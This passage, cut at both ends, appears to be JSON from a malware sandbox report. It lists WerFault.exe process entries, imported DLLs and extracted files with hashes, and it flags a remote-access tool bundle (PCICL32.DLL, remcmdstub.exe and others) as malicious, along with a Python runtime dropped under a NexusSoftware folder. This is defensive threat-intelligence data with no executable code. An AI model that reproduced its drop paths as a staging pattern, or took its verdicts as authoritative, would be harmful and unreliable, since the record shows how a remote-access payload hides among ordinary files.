1812","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006316","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":2144,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 556 -p 3352 -ip 3352","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00002144","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":5924,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 564 -p 5020 -ip 5020","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00005924","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":5076,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 564 -p 7400 -ip 7400","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00005076","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":7212,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 560 -p 4708 -ip 4708","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007212","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":5080,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 540 -p 1800 -ip 1800","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00005080","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":5108,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 568 -p 4328 -ip 4328","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00005108","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":7748,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 568 -p 6632 -ip 6632","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007748","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":7372,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 604 -p 6676 -ip 6676","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007372","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":7024,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 596 -p 100 -ip 100","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007024","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":820,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 596 -p 3160 -ip 3160","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00000820","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":8924,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 596 -p 8232 -ip 8232","sha256":"97448c6ae59a389e0aec5c62ccef112be44d5f648568680dc83962102f8475af","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00008924","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["KernelBase.dll","combase.dll","msvcp140.dll","ncryptsslp.dll","sfc_os.dll","Microsoft.Management.Infrastructure.Native.dll","ntdll.dll","wow64.dll","urlmon.dll","mi.dll","msvcp_win.dll","sspicli.dll","cscapi.dll","clr.dll","System.Transactions.ni.dll","rasadhlp.dll","edputil.dll","msisip.dll","msvcrt.dll","srvcli.dll","userenv.dll","ws2_32.dll","OnDemandConnRouteHelper.dll","shell32.dll","ntshrui.dll","winnsi.dll","uxtheme.dll","AppResolver.dll","ucrtbase_clr0400.dll","secur32.dll","wbemsvc.dll","ucrtbase.dll","winhttp.dll","OneCoreCommonProxyStub.dll","python3.dll","clbcatq.dll","mscoreei.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","fltLib.dll","OneCoreUAPCommonProxyStub.dll","pwrshsip.dll","System.DirectoryServices.ni.dll","mswsock.dll","System.Configuration.ni.dll","advapi32.dll","pcacli.dll","System.Transactions.dll","wow64cpu.dll","gdi32full.dll","OpcServices.dll","System.Data.dll","normaliz.dll","fastprox.dll","setupapi.dll","mpr.dll","V5vyDtW1.dll","oleaut32.dll","rsaenh.dll","wldp.dll","linkinfo.dll","virtdisk.dll","System.Management.ni.dll","win32u.dll","vcruntime140_1.dll","wbemcomn.dll","kernel.appcore.dll","propsys.dll","taskschd.dll","python313.dll","System.Configuration.Install.ni.dll","diasymreader.dll","wbemprox.dll","dnsapi.dll","ntasn1.dll","gdi32.dll","ole32.dll","webio.dll","iertutil.dll","Windows.StateRepositoryPS.dll","mscoree.dll","System.ni.dll","System.Core.ni.dll","dhcpcsvc.dll","vcruntime140_clr0400.dll","wshext.dll","imm32.dll","VxSSL32.dll","FWPUCLNT.DLL","gpapi.dll","profapi.dll","BCP47Langs.dll","slc.dll","System.Data.ni.dll","wow64win.dll","user32.dll","IPHLPAPI.DLL","dpapi.dll","version.dll","Microsoft.CSharp.ni.dll","coml2.dll","cryptsp.dll","nsi.dll","windows.storage.dll","amsi.dll","sechost.dll","atl.dll","clrjit.dll","psapi.dll","wintrust.dll","Microsoft.AppV.AppVClientPowerShell.dll","miutils.dll","wmidcom.dll","kernel32.dll","vcruntime140.dll","libffi-8.dll","mscorlib.ni.dll","wininet.dll","rpcrt4.dll","WinTypes.dll","System.Xml.ni.dll","bcryptprimitives.dll","mskeyprotect.dll","ncrypt.dll","crypt32.dll","msasn1.dll","cryptbase.dll","netutils.dll","schannel.dll","bcrypt.dll","dhcpcsvc6.dll","xmllite.dll","AppxSip.dll","sppc.dll","SHCore.dll","cfgmgr32.dll","apphelp.dll","shlwapi.dll","VxSSL64.dll","Microsoft.AppV.AppvClientComConsumer.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"HTCTL32.DLL","sha256":"edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"PCICL32.DLL","sha256":"63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"msedgewebview.exe","sha256":"06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"pcicapi.dll","sha256":"9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"remcmdstub.exe","sha256":"6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"libcrypto-3.dll","sha256":"e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"libssl-3.dll","sha256":"1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"python.cat","sha256":"8e0984c3b70f592c7de1a7bd432e6b240c994244a2c6bade4028859c09598205","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"python.exe","sha256":"a2a4eff8d0b0c845284c607d50a3b5b966ac5a3121736a2e38e165bd6644d9fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"python3.dll","sha256":"ca9313dce359c129edc385af4d0c2322e6b3fdad4969d5c2fbc36e0886da58bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"python313.dll","sha256":"c918867f085eab243364b0df9064fe0fe2d93f7de81d71350dba4c4c2e5a9dd4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"pythonw.exe","sha256":"ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"sqlite3.dll","sha256":"596991399257e1f12bba9169b6e78c29d6327a82ad92f757ee7ba7f323f65469","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"vcruntime140.dll","sha256":"052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"vcruntime140_1.dll","sha256":"6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"pythonw.exe.lnk","sha256":"c8e24eb69b026fe1b7c035880e7d310b3911edcd887b2ab2b2a1535249c5b5fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"TCCTL32.DLL","sha256":"6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"nskbfltr.inf","sha256":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_lzma.pyd","sha256":"1ddce9934889905b482f8587656f28ae1988365a55ae86ca4438873fd0184340","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"PCICHEK.DLL","sha256":"313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"LICENSE.txt","sha256":"62bec384df47b0328307db41455ff6ea2559e5546b394ac69148561b21703120","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_asyncio.pyd","sha256":"53b36f719ee1905e56003a5d8af169fe05917787af66d00c86ceaf996a7d5caf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_bz2.pyd","sha256":"df21ec68d062eb375dba4ea8332aa859d0d4b91f9eddc45e1cebfd54742044e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_ctypes.pyd","sha256":"c95add0b1a541b723c9090c23abeadb8f642b31bb33f2e1ae005fbb8a331ef73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_decimal.pyd","sha256":"e80e2c4533958c717f40238155bd9f4101df23f832e1dddb8be4e83f7ad3355a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_elementtree.pyd","sha256":"739dcb145cb775608f16fc4f99cf923329b2108ea5ff2a5094baaf5fa7be64c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_hashlib.pyd","sha256":"8770291fed8af2ea8e9fd2ed695e8c56f8e26848c91d320d1a22ddf404d02116","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_multiprocessing.pyd","sha256":"f812b488ea8ae37c7da58f3068a1d08b1c66f9a7858610652bc4329843e0b876","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_overlapped.pyd","sha256":"3555e7a0250f379e12a7be5c736477246e411d58cea35be51226956038ad72a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_queue.pyd","sha256":"0d316914b426e71bbd263b78fe23622ac1c8e6f86bae42ef6ffbb609e6257e3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_socket.pyd","sha256":"a69f3a7e281009c86868dd56c2e933ca2634a3979fdc2a4ca751ee4ef5e6ece7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_sqlite3.pyd","sha256":"0c71b7c8fcdd0d9b32b68b4b133380d3d57b5866056df7fe2bc2dde2d552cdd2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_ssl.pyd","sha256":"eb860d3a4ad45e3d7975c5fdc3994798ee9b7ab685fa920c2656878b7dcd3029","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_uuid.pyd","sha256":"118d5c36b649da58313ea5b0617dac96d2e35fc08739efa919547e189fb4d65c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_wmi.pyd","sha256":"1800304e19246edfdb56a14ffabc129b6b5b73e25dbedd2302e75a9eb4d78352","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"_zoneinfo.pyd","sha256":"971fecaef31b529c71e572f626778ffa3d75c171edeeb0c8952a2a8b774ae2dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"d8201d13-9cfd-46a9-a3ec-f0d0c917ee71.lic","sha256":"d36619cb9c55f2d3d1b67d0360d506d8c37212caf14629886eb47c03bada975c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"fd900f40-0cbd-4cf3-8efd-f248ac7ed542.lic","sha256":"d7c45acadd5be82e4128989533d04a5d14c2b659f510efec75604345bd477e3c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"__PSScriptPolicyTest_0qogiro2.gxk.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"__PSScriptPolicyTest_tuseizss.oc1.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python.cat","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python.exe","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python313.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python313.zip","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python313._pth","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pythonw.exe","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\vcruntime140_1.dll","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"path":"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6ae4